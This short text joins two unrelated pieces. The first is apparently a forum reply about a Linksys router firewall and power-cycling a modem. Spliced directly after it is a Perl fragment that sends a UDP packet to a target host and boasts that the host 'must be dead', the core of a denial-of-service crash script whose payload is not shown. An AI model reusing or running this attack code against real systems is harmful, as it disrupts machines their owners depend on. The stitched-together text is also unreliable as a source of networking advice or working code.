It will not work ... You can not disable the inner firewall on the Link sys router ... All I suggest is to UnPlug the cable out of your modem / UnPlug the cable out of the back of your router and plug it directly into the back of your modem ... <<->> UnPlug your modem's power source for 30 seconds / plug it back in ... Wait for the blinking to stop on the modem and boost your system ...
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead : )\n";